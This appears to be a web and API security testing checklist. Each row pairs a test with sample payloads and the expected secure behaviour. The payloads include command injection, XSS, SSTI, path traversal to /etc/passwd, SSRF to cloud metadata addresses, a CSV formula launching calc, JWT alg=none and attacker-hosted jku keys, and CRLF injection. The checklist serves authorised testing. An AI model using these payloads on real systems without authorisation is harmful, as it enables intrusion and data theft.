Test code injection	Inject language/template expressions where dynamic evaluation may occur.	${77} {{77}} <%= 7*7 %>	User input should not be evaluated as code.
Test command injection	Inject OS command separators in parameters used by server commands.	; id && whoami \| cat /etc/passwd `id`	OS commands should not be built from raw user input.
Test buffer/length issues	Send oversized input values and malformed data to check crashes/errors.	Very long strings, large JSON arrays, large multipart values	Application should validate size and handle errors safely.
Test incubated vulnerabilities	Store payloads in one feature and trigger them later in another workflow.	Stored XSS in profile rendered in admin panel/email/pdf	Stored content should remain safe wherever reused.
Test HTTP splitting/smuggling signals	Test CRLF header injection and safe request smuggling detection in authorized environments.	%0d%0aSet-Cookie: injected=1 CL.TE/TE.CL probes with Burp Smuggler	No header injection or frontend/backend request desync should occur.

Error Handling Testing

2 checks

Error Codes and Stack Traces2 checks

Done	Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
	Analyze error codes	Trigger invalid, unauthorized, forbidden, malformed, and server-error scenarios and compare responses.	400/401/403/404/500 paths	Errors should use correct status codes and not reveal sensitive data or enumeration clues.
	Analyze stack traces	Force exceptions using malformed inputs and check for stack traces/framework/DB/internal path leakage.	Malformed JSON, invalid IDs, invalid file type	Stack traces and internal implementation details should not be visible.

Cryptography Testing

3 checks

Transport and Crypto Controls3 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test weak SSL/TLS ciphers	Scan TLS versions, ciphers, certificate chain, hostname, expiry, and weak protocols.	SSL Labs, testssl.sh, nmap --script ssl-enum-ciphers	Only strong TLS/ciphers and valid certificates should be used.
Test padding oracle indicators	For encrypted tokens/parameters, alter ciphertext and observe error/timing differences.	Modify encrypted cookie/token blocks	Crypto errors should be generic; vulnerable CBC oracle behavior should not exist.
Test sensitive data over unencrypted channels	Check whether credentials, tokens, OTPs, or PII are sent over HTTP or loggable URLs.	http://, query params, Referer, logs	Sensitive data should be encrypted in transit and not placed in URLs.

Business Logic Testing

26 checks

Core Business Logic7 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test business data validation	Submit invalid business values such as negative amount, excessive quantity, invalid state, or unauthorized status.	amount=-1, quantity=999999, status=approved	Server should enforce valid business rules.
Test forged requests	Modify hidden/client-controlled fields in requests and replay actions.	price=1, role=admin, isPaid=true, status=approved	Server should ignore/recalculate sensitive values.
Test integrity checks	Remove/tamper checksum/signature/hidden fields and check if request is accepted.	Remove signature; modify signed field	Integrity-protected values should fail if tampered.
Test process timing/race conditions	Send parallel requests for one-time/limited actions.	Apply coupon 20 times; withdraw twice; submit same OTP/token in parallel	Critical operations should be atomic; only one should succeed.
Test function usage limits	Repeat limited functions rapidly and across sessions/IPs.	OTP resend, coupon use, download, invite, reward, login, API quota	Usage limits and rate limits should be enforced server-side.
Test workflow circumvention	Call later-step APIs directly without completing earlier steps.	payment-confirm without payment-initiate; reset-password without OTP verification	Backend should block skipped or out-of-order workflows.
Test application misuse defenses	Automate spam/mass actions/scraping/fake registration/excessive requests.	Mass comments, mass follows, scraping API pages	Abuse controls should throttle, block, or detect misuse.

File Upload Functionality (WSTG-BUSL-08 / WSTG-BUSL-09)19 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test allowed file types	Upload disallowed file types.	.php, .jsp, .aspx, .exe, .sh, .html, .js	Only approved file types should be accepted.
Test extension bypass	Try double/mixed extensions and case variations.	shell.php.jpg, test.jpg.php, file.PHP, file.phP5	Validation should not rely only on final extension.
Test MIME type bypass	Change Content-Type to allowed value while body contains disallowed content.	Content-Type: image/jpeg for HTML/PHP/JS content	Server should validate actual file content.
Test magic-byte bypass	Add valid image magic bytes to malicious/non-image content.	GIF89a + script/PHP content	Server should verify full content safely, not only magic bytes.
Test SVG upload XSS	Upload SVG containing script/event handlers/external references.	<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>	SVG should be blocked, sanitized, or served safely.
Test HTML upload XSS	Upload HTML file or file rendered as HTML and open it in browser.	<script>alert(1)</script>.html	Uploaded content should not execute script in trusted origin.
Test malware detection	Upload safe malware test file in authorized environment.	EICAR test file	Malware scanning should block/quarantine unsafe files.
Test file size limits	Upload very large files or many files quickly.	Large multipart upload; repeated uploads	Size/rate limits should prevent resource abuse.
Test filename injection	Use special characters, CRLF, quotes, unicode, or script in filename.	"><script>alert(1)</script>.jpg file%0d%0aContent-Type:text/html.jpg	Filename should be sanitized and safely displayed.
Test path traversal in filename	Upload filename with traversal sequences.	../../test.jsp ..\..\webroot\shell.jsp	File should not escape upload directory or overwrite system files.
Test unauthenticated upload	Attempt upload without login/token or with expired/invalid token.	Remove Authorization header/cookie	Upload should require proper authentication.
Test unauthorized access/delete of uploaded files	Try viewing/downloading/deleting another user’s uploaded file by changing file ID/path.	/files/123 → /files/124	Object-level authorization should protect files.
Test direct file access	Open uploaded file URL directly in browser/incognito and without auth.	https://cdn.example.com/uploads/file.jpg	Access should follow authorization rules.
Test execution risk	Upload script-like file and check if it executes server-side or client-side.	shell.php, shell.jsp, .phtml, .aspx	Uploaded files should never execute as code.
Check storage location	Determine whether uploaded files are stored under web root/public bucket/CDN and whether listing is enabled.	/uploads/, S3 bucket URL	Files should be stored safely with controlled access and no listing.
Test file overwrite	Upload same filename multiple times or same path from different users.	avatar.jpg repeated	Files should not overwrite others unless intended and authorized.
Check Content-Disposition	Check whether risky files open inline or forced download.	Content-Disposition: inline vs attachment	Risky content should be downloaded or served from isolated domain.
Check metadata leakage	Upload/download images/docs and inspect metadata.	exiftool file.jpg/file.pdf	Sensitive metadata should be stripped if required.
Test corrupt file error handling	Upload invalid/corrupt files and inspect errors.	Broken image/PDF/ZIP	No stack traces/internal paths should be exposed.

Client Side Testing

12 checks

Browser/Client-Side Controls12 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test DOM-based XSS	Manipulate URL/hash/query parameters and check if JavaScript writes them into dangerous sinks.	#<img src=x onerror=alert(1)> ?next=<svg/onload=alert(1)>	Client should encode/sanitize untrusted data before DOM insertion.
Test JavaScript execution	Look for eval/new Function/setTimeout(string)/dynamic script loading using user input.	Search JS for eval(, Function(, setTimeout(	Untrusted input should not be executed as JavaScript.
Test HTML injection	Inject harmless HTML into client-rendered fields and check rendering.	<h1>Injected</h1><a href=https://attacker.com>Click</a>	User input should not render as raw HTML unless safely sanitized.
Test client-side open redirect	Modify redirect-like parameters or hash values.	?redirect=https://evil.com #//evil.com ?returnUrl=//evil.com	Redirects should only allow trusted internal paths.
Test CSS injection	Inject style/CSS payloads into style fields or profile/theme parameters.	background:url(//attacker.test/x) position:fixed;top:0;left:0	User-controlled CSS should be blocked or sanitized.
Test client-side resource manipulation	Tamper JS/CSS/image/API paths controlled by query/config.	?cdn=https://attacker.com/ ?script=//attacker.com/a.js	Client should not load attacker-controlled resources.
Test CORS	Send requests with untrusted Origin and check ACAO/credentials behavior.	Origin: https://evil.com	Sensitive APIs should not allow untrusted origins, especially with credentials.
Test Cross Site Flashing	Check for legacy Flash/SWF and permissive crossdomain policies.	/crossdomain.xml, .swf files	Legacy cross-domain access should be removed or restricted.
Test clickjacking	Try embedding sensitive pages in iframe.	<iframe src="https://target/sensitive"></iframe>	Sensitive pages should set frame protections.
Test WebSockets	Inspect WebSocket connect/message flow for auth, origin validation, message tampering, and data leakage.	Modify WS message/user_id/action	WebSockets should authenticate, authorize, and validate every message.
Test Web Messaging	Inspect postMessage usage for wildcard targetOrigin or missing origin validation.	window.postMessage(data, "*")	postMessage should validate origin and use exact targetOrigin.
Test Local Storage	Inspect localStorage/sessionStorage for tokens, PII, secrets, and persistence after logout.	authToken, refreshToken, user PII	Sensitive tokens/PII should not be stored insecurely in browser storage.

Insecure Design (A04)

4 checks

Design and Abuse Case Testing4 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test business abuse cases	Try using functionality in unintended ways to gain free access, bypass payment, misuse rewards, or bypass approvals.	Apply coupon after payment; access premium content without subscription	Design should prevent abuse cases, not only input validation errors.
Test missing controls	Check critical flows for missing rate limits, missing re-authentication, missing approval, or missing server-side validation.	No rate limit on OTP/coupon/export	Security controls should exist at design level for sensitive actions.
Test trust boundaries	Bypass frontend validation and send direct API requests with modified values.	Change price/status/role in API	Backend should not trust frontend-controlled values.
Test failure scenarios	Force invalid states and interrupted flows to check safe handling.	Payment timeout then confirm order; cancel then reuse token	Failure states should not create unauthorized access or inconsistent state.

Software & Data Integrity Testing (A08)

5 checks

Integrity and Supply Chain5 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Check dependency integrity	Identify outdated/vulnerable libraries and missing integrity controls.	npm audit, Snyk, dependency check	Known vulnerable packages should be upgraded or mitigated.
Check CI/CD artifact exposure	Look for exposed build artifacts, pipeline files, logs, secrets, or deployment configs.	.github/workflows, Jenkinsfile, build logs, .npmrc	CI/CD secrets and artifacts should not be public.
Test JWT/token integrity	Decode and tamper JWT claims/header/signature; test alg=none/weak algorithms/expired tokens.	jwt.io; change role/user_id/exp; alg=none	Server should validate signature, algorithm, issuer, audience, expiry, and claims.
Test untrusted deserialization	Look for serialized objects in cookies/body/headers/uploads and safely modify low-risk values first.	Java rO0AB..., PHP O:4:"User", .NET ViewState, YAML/XML/JSON type fields	User-controlled serialized data should not be deserialized unsafely.
Test file/data integrity	Modify downloaded/uploaded files or signed data and check if tampering is detected.	Modify signed download URL, checksum, file hash	Integrity checks should detect tampering.

Security Logging & Monitoring Testing (A09)

5 checks

Logging, Monitoring and Audit Trail5 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Check security event logging	Perform login failures, password reset, privilege changes, admin actions, and check logs if available.	failed login, reset request, admin delete	Critical security events should be logged.
Check sensitive data in logs	Verify logs do not contain passwords, OTPs, tokens, session IDs, or PII unnecessarily.	password=, token=, otp=	Logs should not store secrets or sensitive data.
Test log injection	Inject CRLF/special characters into logged fields and inspect log formatting if accessible.	username=test%0aFAKE LOG ENTRY	User input should not corrupt or forge log entries.
Check monitoring/alerting	Simulate brute force, enumeration, and suspicious access attempts to verify alerting process.	Repeated failed login/OTP/admin access	Suspicious activity should trigger monitoring/alerts.
Check audit trail	Verify critical actions record who, what, when, where, and before/after state.	Admin change, role update, password reset	Audit trail should support investigation without leaking secrets.

SSRF Testing (A10)

6 checks

Server-Side Request Forgery6 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Identify URL-fetching features	Find functions where server fetches user-supplied URLs.	Import by URL, image upload by URL, webhook, PDF generator, link preview	URL-fetching features should be tightly allowlisted.
Test external callback safely	Use controlled callback domain to confirm whether server makes outbound request.	Burp Collaborator/ngrok/collaborator-like endpoint	Outbound requests should only occur for approved destinations.
Test internal/private IP blocking	Submit internal URLs in authorized test environment.	http://127.0.0.1, http://localhost, http://10.0.0.1, http://169.254.169.254	Private/internal/metadata addresses should be blocked.
Test protocol abuse	Try non-HTTP protocols if accepted by parser.	file://, ftp://, gopher://, dict://	Only safe protocols should be allowed.
Test redirect-based SSRF	Use external URL that redirects to internal/private IP and check whether final destination is revalidated.	https://attacker.test/redirect-to-127.0.0.1	Application should validate final redirected URL.
Test response leakage	Check if internal response body/status/timing is exposed to user.	Blind/timing/error differences	Internal responses should not leak to user.

Additional Advanced Web/API Vulnerabilities

13 checks

Cache, Header, Redirect and Proxy Attacks9 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test web cache poisoning	Find cacheable pages, add unkeyed headers/params, check reflection, then verify if poisoned response is served from cache.	X-Forwarded-Host: attacker.com X-Original-URL: /admin Check X-Cache/Age/CF-Cache-Status	Cache should not store attacker-controlled content for other users.
Test web cache deception	As logged-in user, append fake static extension/path to private dynamic pages and test if cached publicly.	/account/profile.css /api/me/test.png /orders/123/style.css	Private user data should never be cached as public static content.
Test HTTP request smuggling	In authorized environments, use safe Burp Smuggler probes to test CL.TE/TE.CL/TE.TE desync.	Content-Length + Transfer-Encoding: chunked probes	Frontend/backend should parse requests consistently; no desync.
Test host header injection	Modify Host and forwarded host headers and check password reset links, redirects, asset URLs, cache, and routing.	Host: attacker.com X-Forwarded-Host: attacker.com Forwarded: host=attacker.com	Application should use configured trusted host, not client-controlled headers.
Test HTTP header injection / response splitting	Inject CRLF into inputs reflected in headers such as Location or Set-Cookie.	name=test%0d%0aSet-Cookie:evil=1	CRLF should be encoded/rejected; no injected response headers.
Test cookie poisoning/tampering	Decode and modify client-controlled cookies and replay requests.	Cookie: role=user → role=admin Base64/JSON cookie changes	Sensitive state should not be trusted from unsigned client-side cookies.
Test open redirect	Modify redirect parameters and test external/encoded bypasses.	?redirect=https://evil.com ?returnUrl=//evil.com https://example.com.evil.com https://evil.com@example.com	Only allowlisted internal redirects should be allowed.
Test SSRF via headers / internal routing headers	Try headers that may be trusted by proxy/backend routing.	X-Forwarded-For: 127.0.0.1 X-Original-URL: /admin X-Rewrite-URL: /internal	User-supplied headers should not grant internal routing/access.
Test email header injection	Inject CRLF into email fields to attempt CC/BCC/Subject/body injection.	test@test.com%0aBCC:attacker@test.com test@test.com%0d%0aSubject:Injected	Email headers should not be injectable; input should be sanitized.

Deserialization, Race and Prototype Pollution4 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test deserialization vulnerability	Identify serialized data in cookies, hidden fields, API body, headers, uploads, or ViewState and modify low-risk values first.	Java rO0AB..., PHP O:4:"User", JSON {"__type":"UserSession","role":"admin"}	Application should not deserialize untrusted data or should verify integrity before processing.
Test race conditions	Send parallel requests for one-time/limited actions and verify backend state.	Apply coupon 20 times; reset token twice; withdraw twice; OTP verify in parallel	Only one valid operation should succeed; state must be atomic.
Test prototype pollution	Inject prototype keys into JSON/query inputs and check unexpected property/behavior changes.	{"__proto__":{"polluted":"yes"}} {"constructor":{"prototype":{"isAdmin":true}}} ?__proto__[polluted]=yes	Dangerous keys should be rejected and object prototypes should not be polluted.
Review JS files for hardcoded sensitive credentials	View page source and JS files; search for tokens, API keys, secrets, internal endpoints, and source maps.	View Source, Burp, DevTools Search: apiKey, secret, token, password, bearer	Frontend should not contain secrets or sensitive internal implementation details.

Additional Non-API-Top-10 VAPT Coverage Added

0 checks

Additional Data Validation Checks

11 checks

NoSQL Injection3 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test NoSQL operator injection in login/search/filter APIs	Identify inputs used by NoSQL-backed features such as login, search, filters, profile lookup, or document lookup. Replace normal values with NoSQL operators and observe whether authentication, filtering, or authorization changes.	{"email":{"$ne":null},"password":{"$ne":null}} {"username":{"$regex":".*"}} ?user[$ne]=test	Application should reject operator objects or treat them as plain values; authentication and filters should not be bypassed.
Test NoSQL boolean/time behavior	Send safe boolean-style NoSQL payloads and compare response length, result count, status code, and timing.	{"name":{"$gt":""}} {"id":{"$in":["victim_id"]}}	No different behavior should expose query logic or allow unauthorized records to be returned.
Test JSON type confusion in NoSQL APIs	Change expected string/number fields into arrays or objects and check whether validation is bypassed.	{"role":["user","admin"]} {"email":{"value":"a@b.com"}}	Server should enforce strict schema and reject wrong data types.

Server-Side Template Injection (SSTI)3 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test reflected template expressions	Find inputs rendered in server-generated pages, emails, PDFs, invoices, templates, or notification content. Submit basic template expressions and check whether they are evaluated.	{{77}} ${77} <%= 77 %> #{77}	Payload should be displayed as text or safely encoded; it should not evaluate to 49.
Test SSTI in email/PDF/content generation flows	Submit template expressions in profile name, invoice fields, report titles, email templates, or content generation fields and check generated output.	Name: {{77}} Title: ${77}	Generated emails/PDFs/pages should not execute user-controlled template syntax.
Check error messages for template engine clues	Send malformed template syntax and inspect errors for template engine names or stack traces.	{{7*}} ${{bad}}	No template engine details, stack traces, or internal paths should be exposed.

CSV / Formula Injection2 checks

Done	Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
	Test exported CSV/Excel cells for formula execution	Enter formula-like payloads in fields that may be exported, such as name, email, comment, ticket title, address, or report data. Export CSV/XLSX and open safely in a controlled environment.	=2+2 +cmd\|' /C calc'!A0 @SUM(1+1) -HYPERLINK("http://attacker.test","click")	Exported data should neutralize formula execution by escaping dangerous leading characters such as =, +, -, @, tab, and CR/LF.
	Test CSV injection through uploaded/imported data	If the app imports CSV and later exports/reports it, upload formula payloads and verify they are sanitized during export/display.	CSV cell value: =HYPERLINK("http://attacker.test")	Imported formula-like values should not execute when later exported or opened.

Mass Assignment / Overposting3 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test hidden privilege fields in JSON/body	Add unauthorized fields to create/update requests and check whether backend accepts them.	{"name":"test","role":"admin","isAdmin":true,"isVerified":true,"status":"active"}	Server should ignore/reject fields the user is not allowed to set.
Test business-sensitive overposting fields	Add fields that affect plan, price, wallet, limits, approval, ownership, or verification status.	{"plan":"premium","price":0,"balance":99999,"approved":true,"ownerId":"victim"}	Client-controlled extra fields should not modify server-side business state.
Test nested mass assignment	Inject hidden fields inside nested JSON objects and arrays.	{"profile":{"name":"a","role":"admin"},"settings":{"mfaEnabled":false}}	Nested unauthorized fields should be rejected or ignored.

Additional Authentication, OAuth, SSO and JWT Checks

20 checks

OAuth / SSO Misconfiguration6 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test redirect_uri validation	During OAuth/SSO login, modify redirect_uri/callback URL and verify whether tokens/codes can be sent to an untrusted domain.	redirect_uri=https://attacker.test/callback redirect_uri=https://trusted.com.attacker.test redirect_uri=//attacker.test	Only exact allowlisted redirect URIs should be accepted.
Test missing/weak state parameter	Start OAuth login and check whether state exists, is random, tied to session, and validated. Remove/change/reuse it.	Remove state Reuse old state Swap state between browsers	State should be required, unpredictable, session-bound, and single-use to prevent CSRF/login CSRF.
Test PKCE enforcement for public clients	For mobile/SPA/public clients, check whether authorization code flow requires valid code_verifier matching code_challenge.	Remove code_verifier Use wrong code_verifier	Token exchange should fail without valid PKCE where applicable.
Test authorization code reuse	Use the same OAuth authorization code more than once.	Replay code exchange request	Authorization code should be single-use and short-lived.
Test token leakage in URL/referrer	Check whether access tokens, ID tokens, or auth codes appear in URL fragments/query parameters and leak to third-party links.	Inspect redirect URL, Referer header, analytics/social links	Tokens/codes should not leak to third parties or browser history.
Test ID token validation	If ID tokens are used, modify issuer/audience/expiry/signature and check whether login is accepted.	Invalid aud, iss, exp, unsigned/tampered ID token	Backend should validate issuer, audience, expiry, nonce, and signature.

Account Linking / Social Login Abuse4 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test linking attacker OAuth account to victim account	Try initiating account linking while logged in as one user and complete OAuth with another identity, or reuse linking URLs across sessions.	Start link as User A, complete as User B	Social accounts should link only after re-authentication and correct session validation.
Test unverified provider email handling	Check whether the app trusts email from OAuth provider even if email_verified is false or absent.	Provider response with email_verified=false	Application should not trust unverified provider email for account takeover or auto-linking.
Test email mismatch during SSO	Try logging in with a provider account whose email differs from the existing local account or is controlled by attacker.	OAuth email mismatch / changed email at provider	App should prevent unsafe auto-linking and require verified ownership.
Test SSO account takeover via open redirect or callback manipulation	Combine SSO flow with redirect_uri/open redirect testing and check whether tokens/codes can be captured.	redirect_uri through open redirect path	OAuth codes/tokens must never be deliverable to attacker-controlled destinations.

Detailed JWT Testing6 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test alg=none / unsigned token handling	Decode JWT, change header algorithm to none, remove signature, and replay in authorized test environment.	{"alg":"none","typ":"JWT"}	Unsigned or alg=none tokens should be rejected.
Test weak JWT secret	If HS256 is used and allowed by scope, test whether token can be cracked using weak/common secrets.	Common secrets: secret, password, jwtsecret	JWT signing secret should be strong and not crackable.
Test JWT role/user tampering	Modify claims such as role, user_id, tenant_id, scope, plan, or isAdmin and replay token.	{"role":"admin","isAdmin":true,"user_id":"victim"}	Any tampered token should fail signature validation or authorization checks.
Test missing expiry validation	Replay expired token or remove/change exp claim.	exp in past; remove exp claim	Expired or malformed tokens should be rejected.
Test issuer/audience validation	Change iss/aud claims or use token from another environment/app.	aud=other-app iss=attacker	Backend should validate expected issuer and audience.
Test kid/jku/x5u header abuse	Modify JWT header key identifiers/remote key URLs and check whether server fetches or trusts attacker keys.	kid=../../key jku=https://attacker.test/jwks.json x5u=https://attacker.test/cert.pem	Server should only use trusted key sources and should not fetch arbitrary attacker-controlled keys.

Rate Limit Bypass Techniques4 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test IP header bypass	Repeat rate-limited requests while changing spoofable IP headers.	X-Forwarded-For: 1.1.1.1 X-Real-IP: 2.2.2.2 Client-IP: 3.3.3.3	Rate limiting should use trusted proxy configuration and should not be bypassed by user-controlled headers.
Test user identifier variation bypass	Change case, spacing, encoding, plus addressing, or phone number format while attempting rate-limited actions.	Test@Mail.com vs test@mail.com test+1@mail.com +91 99999 vs 099999	Rate limit should normalize identifiers consistently.
Test endpoint/path variation bypass	Use alternate endpoints, API versions, trailing slashes, or mobile endpoints for the same action.	/login, /api/login, /api/v1/login, /mobile/login, /login/	Same action should share abuse limits across endpoint variants.
Test session/device/header variation bypass	Change User-Agent, device ID, cookies, or create new sessions and repeat the same action.	New cookie, new device_id, different User-Agent	Critical limits should not be bypassed by trivial client-side identifiers.

Additional API-Connected Feature Checks

23 checks

GraphQL Security5 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Check GraphQL endpoint exposure	Identify /graphql or similar endpoint and verify whether it is intended to be public.	/graphql, /api/graphql, /gql	GraphQL endpoint should require authentication where needed and expose only intended operations.
Test introspection in production	Send introspection query and check whether schema, types, queries, mutations, and fields are exposed.	{ __schema { types { name } } }	Introspection should be disabled or restricted in production unless intentionally allowed.
Test field-level authorization	Query sensitive fields not visible in UI or belonging to another user.	Query user(id:"victim") { email phone role }	Each field/object should enforce authorization, not only top-level query.
Test deep query / complexity abuse	Send deeply nested or expensive queries and observe latency/rate limits.	Nested friends/followers/orders recursion	Depth, complexity, timeout, and rate limits should be enforced.
Test batching abuse	Send multiple queries/mutations in one batch to bypass rate limits or perform mass actions.	[{query:"..."},{query:"..."}]	Batching should be limited and authorized per operation.

Advanced CORS Testing5 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test origin reflection	Send requests with arbitrary Origin header and check whether it is reflected in Access-Control-Allow-Origin.	Origin: https://attacker.test	Only trusted origins should be allowed; arbitrary reflection is unsafe.
Test credentials with untrusted origin	Send Origin header with cookies/session and check Access-Control-Allow-Credentials behavior.	Origin: https://attacker.test Cookie: session=...	Credentials should not be allowed for untrusted origins.
Test null origin	Send Origin: null and verify whether sensitive APIs allow it.	Origin: null	null origin should not be trusted for sensitive APIs.
Test subdomain/regex bypass	Try attacker-controlled domains that visually match trusted domains.	https://example.com.attacker.test https://attacker-example.com https://eviltrusted.com	CORS allowlist should use strict exact origin matching.
Test preflight method/header exposure	Send OPTIONS preflight and check whether dangerous methods/headers are allowed unnecessarily.	Access-Control-Request-Method: DELETE Access-Control-Request-Headers: Authorization	Only required methods and headers should be allowed.

Webhook Security4 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test webhook URL validation	If users can configure webhook URLs, try internal/private URLs and unsupported protocols.	http://127.0.0.1 http://169.254.169.254 file:/// gopher://	Webhook destination should be allowlisted or block private/internal IPs and unsafe protocols.
Test webhook signature validation	Send a fake webhook request without signature, with invalid signature, and with modified body.	Missing X-Signature Wrong signature Body tampering	Webhook receiver should reject unsigned or tampered requests.
Test webhook replay protection	Replay a valid webhook request multiple times.	Replay same event_id/signature/timestamp	Webhook should use timestamp/event ID/idempotency protection to prevent replay.
Test webhook secret exposure	Check frontend, logs, API responses, and docs for webhook signing secrets or callback tokens.	Search secret, webhook_secret, signing_key	Webhook secrets should never be exposed client-side or in logs.

Download / Export Functionality5 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test file download IDOR	Change file/report/export ID in download URL/API and check whether another user’s file can be accessed.	/download?id=1001 → /download?id=1002 /files/{file_id}	Download authorization should verify object ownership and role.
Test path traversal in download	Modify filename/path parameters to access server files or other directories.	file=../../etc/passwd path=..%2f..%2fconfig	Download API should not allow traversal or arbitrary file read.
Test excessive export	Use filters/pagination/body changes to export more data than visible/authorized.	limit=999999 role=all includeSensitive=true	Exports should enforce authorization, row limits, and least-data response.
Test signed URL expiry and reuse	Reuse signed download URLs after expiry/logout/password reset or from another account.	Replay S3/CDN signed URL	Signed URLs should be short-lived, scoped, and not expose unauthorized data.
Test sensitive data in exported files	Download reports/exports and check for PII, internal IDs, tokens, hidden columns, or debug fields.	CSV/XLSX/PDF export review	Export should contain only intended and authorized data.

Sensitive Data Exposure in API Responses4 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Check excessive fields in responses	Compare UI-visible fields with raw API response and identify extra PII/internal/security fields.	email, phone, dob, role, isAdmin, internalId, passwordHash, token, debug	API should return only fields required by the current user and feature.
Check cross-role response differences	Call same endpoint with low/high privilege users and compare response data.	GET /api/users/{id}	Low-privilege users should not receive admin-only fields.
Check error/debug fields in API responses	Trigger errors and inspect response for stack, SQL, internal service names, trace IDs with sensitive context.	Malformed JSON, invalid ID, expired token	Responses should not expose sensitive debug data.
Check cache/storage of sensitive API responses	Verify sensitive API responses are not cached by browser/CDN/proxy and not stored in local/session storage unnecessarily.	Cache-Control, localStorage/sessionStorage	Sensitive data should not be cached or stored client-side unnecessarily.

Additional Client, Headers and Supply Chain Checks

10 checks

Security Headers Detailed Review6 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Check Content Security Policy	Review CSP header for missing/weak directives and unsafe script sources.	Content-Security-Policy unsafe-inline, unsafe-eval, wildcard *	CSP should restrict script/style/connect/frame sources and avoid unsafe directives where possible.
Check clickjacking headers	Verify X-Frame-Options or CSP frame-ancestors on sensitive pages.	X-Frame-Options: DENY/SAMEORIGIN CSP: frame-ancestors	Sensitive pages should not be frameable by untrusted sites.
Check MIME sniffing protection	Verify X-Content-Type-Options header and dangerous content rendering behavior.	X-Content-Type-Options: nosniff	Browser should not sniff and execute uploaded/downloaded content as scripts.
Check Referrer-Policy	Click external links from sensitive pages and check whether tokens/paths leak in Referer.	Referrer-Policy: no-referrer / strict-origin-when-cross-origin	Sensitive URLs/tokens should not leak to third parties.
Check Permissions-Policy	Review whether browser features like camera, microphone, geolocation, clipboard are restricted.	Permissions-Policy: camera=(), microphone=(), geolocation=()	Unneeded browser capabilities should be disabled.
Check cookie security attributes	Verify session cookies include Secure, HttpOnly, SameSite, and narrow Path/Domain.	Set-Cookie: session=...; Secure; HttpOnly; SameSite=Lax/Strict	Cookies should be protected from theft, cross-site abuse, and overbroad scope.

Dependency / Frontend Script Integrity4 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Check third-party JavaScript sources	List all external scripts loaded by the frontend and verify they are trusted, necessary, and not loaded over HTTP.	<script src="https://third-party...">	Only trusted HTTPS scripts should be loaded.
Check Subresource Integrity	For static third-party scripts/styles, verify integrity attribute is used where applicable.	<script src="..." integrity="sha384-..." crossorigin="anonymous">	SRI should be used for third-party static assets where feasible.
Check exposed package versions	Review JS bundles, package metadata, source maps, and response headers for vulnerable library versions.	jquery, lodash, moment, angular, react versions	Outdated/vulnerable frontend dependencies should be upgraded or not exposed.
Check dependency confusion/package integrity risk	Review whether app references internal package names, public registries, or build artifacts revealing package names.	package.json, yarn.lock, source maps	Internal packages and dependency metadata should not enable supply-chain attacks.